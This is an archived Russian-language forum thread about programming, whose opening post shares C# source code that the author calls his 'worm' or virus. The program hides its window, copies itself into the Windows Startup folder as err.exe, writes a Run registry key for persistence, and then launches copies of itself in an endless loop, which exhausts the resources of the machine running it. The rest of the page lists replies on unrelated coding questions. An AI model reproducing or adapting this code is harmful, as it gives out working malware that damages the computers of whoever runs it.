Здравствуйте, гость ( Вход | Регистрация )

Данный форум находится в архиве!


Последние новости C&C читайте на нашем сайте


Пообщаться можно в группе Вконтакте

> Программирование, кто на чём? делимся опытом. помогаем новичкам.
~IL~
сообщение 10.6.2010, 9:35
Сообщение #1


Майор

Группа: Пользователи
Сообщений: 1 091
Регистрация: 10.6.2009
Пользователь №: 3 283
Поблагодарили: 603 раз



здрасте все, кто сюда забрёл
всем форумчанам предлагаю поучаствовать в этой теме

мне хотелось бы, чтобы любители программирования (надеюсь таковые найдутся) поделились своим опытом друг с другом, а так же привлекали новичков в свои ряды. 54.gif

ещё неплохо было бы если бы вы написали, на чём вы программируете и в чём достоинства вашего языка или компилятора.

я недавно начал программировать на C#. компилятор SharpDevelop 3.2
мне нравится этот компилятор, очень удобный интерфейс, доступ к свойствам объектов открывается через точку, так же сразу создается ехе-файл, который готов к употреблению)

до этого писал простенькие программки типа калькулятора)
щас представляю на ваш суд код своего червячка))
показать офф-топ

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
using System.Resources;

namespace a
{
public partial class MainForm : Form
{
public MainForm()
{
Opacity = 0;
//InitializeComponent();
string my_program_path = Application.ExecutablePath.ToString(); //путь к нашей проге
string executable_file_path = "c:/documents and settings/all users/главное меню/программы/автозагрузка/err.exe"; //будущий путь к нашему вирусу

//копирование вируса в автозагрузку
if (!File.Exists(executable_file_path))
File.Copy(my_program_path, executable_file_path);

//запись в реестр
string reg_folder = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\";
RegistryKey reg = null;
reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
if (reg != null)
{
reg.SetValue("my_autorun", executable_file_path);
}

//тело вируса
while (true)
Process.Start(executable_file_path);

//удаление из реестра
//reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
//reg.DeleteValue("my_autorun");

}
}
}

кому что будет не понятно - с радостью объясню)


Эскизы прикрепленных изображений
Прикрепленное изображение Прикрепленное изображение
Пользователь в офлайнеКарточка пользователяОтправить личное сообщение
Вернуться в начало страницы
+Ответить с цитированием данного сообщения

Сообщений в этой теме
~IL~   Программирование   10.6.2010, 9:35
Diamond00744   Можно. Но зачем они мастеров вызвали, непойму... :...   24.5.2011, 22:34
~IL~   Можно. Но зачем они мастеров вызвали, непойму... ...   25.5.2011, 1:24
samohin   Можно. Но зачем они мастеров вызвали, непойму... ...   9.6.2011, 20:46
~IL~   сегодня у меня случилась смешная ситуация, я подум...   11.6.2011, 0:45
Блекхенд из эрайв   сегодня у меня случилась смешная ситуация, я поду...   11.6.2011, 12:01
IwanS   Они что, все время посылают enter в системный пото...   11.6.2011, 9:02
~IL~   Они что, все время посылают enter в системный пот...   11.6.2011, 11:14
Dukat863   Кстати, жнецовый метод борьбы с первой прогой - ч...   11.6.2011, 13:01
Diamond00744   Всем хай) http://www.cncseries.ru/modules.php?name...   21.6.2011, 0:54
NBomb   [off]Исходники в свободном доступе - друг програм...   21.6.2011, 1:01
~IL~   недавно написал прогу, которая считает MD5 введённ...   30.11.2011, 20:07
IwanS   ~IL~, всмысле вручную, что ли? Или с помощью штатн...   30.11.2011, 20:16
~IL~   ~IL~, всмысле вручную, что ли? Или с помощью штат...   30.11.2011, 20:17
Dukat863   void блаблабла(string message) { char* ms...   16.3.2012, 15:32
IwanS   Любая функция, требующая для работы char*, byte[] ...   16.3.2012, 15:52
GraYaSDF   Пишу на C#, Java, PHP и боюсь char* как огня. Да...   22.3.2012, 16:02
Psionic   Любая функция, требующая для работы char*, byteht...   20.3.2012, 19:25
IwanS   Psionic, string - не единственный, но самый правос...   20.3.2012, 20:38
Dukat863   string это класс, содержащий тот-же самый char*, ф...   20.3.2012, 21:49
Psionic   Ну чтож, раз боишся значит плохо знаеш :D: . Поп...   20.3.2012, 22:34
IwanS   :facepalm: Вы меня за идиота держите или думаете, ...   21.3.2012, 7:55
~IL~   Вы меня за идиота держите или думаете, что проучи...   21.3.2012, 13:21
Psionic   IwanS Да не кипятись ты так, я не хотел тебя задет...   22.3.2012, 1:14
Avenger   после того как мне на работе пришлось обьяснять п...   22.3.2012, 11:41
deereqd   никто не знает как работает аудиокодек lame enc d...   11.4.2012, 11:56
BlessYou   Помогите, пожалуйста, решить одну проблему. Суть э...   27.5.2012, 22:19
IwanS   BlessYou, подсказка: либо таймер, либо многопоточн...   27.5.2012, 22:28
BlessYou   [b]BlessYou, подсказка: либо таймер, либо многопо...   27.5.2012, 22:55
Iluhan   Сори за флуд, но наверное глупо будет спрашивать, ...   27.5.2012, 22:36
IwanS   BlessYou, ну я тебе могу только на c# написать, в ...   28.5.2012, 5:54
Dukat863   Помогите, пожалуйста, решить одну проблему. Суть ...   28.5.2012, 15:39
~IL~   попробуй с таймером   28.5.2012, 17:05
BlessYou   Dukat, "вполне возможно, что программа ожидае...   28.5.2012, 17:37
Dukat863   Тогда нужно будет найти другую функцию ввода, чтоб...   28.5.2012, 17:41
HaRuSpex   Незнаю как получше написать функцию по получению о...   25.8.2012, 18:41
Psionic   Ну простейший способ скновертить число в строку _...   25.8.2012, 21:05
HaRuSpex   Ну простейший способ скновертить число в строку _...   25.8.2012, 21:16
Dukat863   #include <math.h> int getPos(int numb...   25.8.2012, 21:25
HaRuSpex   int getPos(int number, int position) { return ( ...   25.8.2012, 21:39
Psionic   #include <math.h> #include <cstdio...   26.8.2012, 0:01
HaRuSpex   Задача. В ряд записаны числа от 2 до 11 в некоторо...   22.4.2013, 16:42
IwanS   HaRuSpex, не понял задачи. Вычеркивать можно тольк...   22.4.2013, 17:30
HaRuSpex   убывающие это как 8 7 6 так и 11 6 2. Возрастающие...   22.4.2013, 19:35
IwanS   HaRuSpex, тогда я не понял, почему в твоем примере...   22.4.2013, 22:35
HaRuSpex   [b]HaRuSpex, тогда я не понял, почему в твоем при...   23.4.2013, 17:51
IwanS   Вот вообщем нашел саму задачу и решение к ней htt...   23.4.2013, 17:58
HaRuSpex   В задаче сказано "Всегда ли можно найти.....   23.4.2013, 5:26
Lustmord   Типа такое: 6 7 2 10 5 9 4 11 3 8 7 6 8 5 9 4 1...   23.4.2013, 12:57
HaRuSpex   Типа такое: 6 7 2 10 5 9 4 11 3 8 7 6 8 5 9 4 ...   23.4.2013, 14:12
Lustmord   :closedeyes: Не правильно понял задачу...   23.4.2013, 14:32
Lustmord   Если числа стоят например в порядке 8,7,9,5,11,2,...   23.4.2013, 18:05
HaRuSpex   Дак там же сказано что для 3х и 4х всегда можно на...   23.4.2013, 18:15
IwanS   А, понял. Прошу прощения <_<   23.4.2013, 19:15
2 страниц V < 1 2

Ответить в эту темуОткрыть новую тему
 

Текстовая версия Сейчас: 15.6.2026, 14:49
Rambler's Top100 CNC Top 101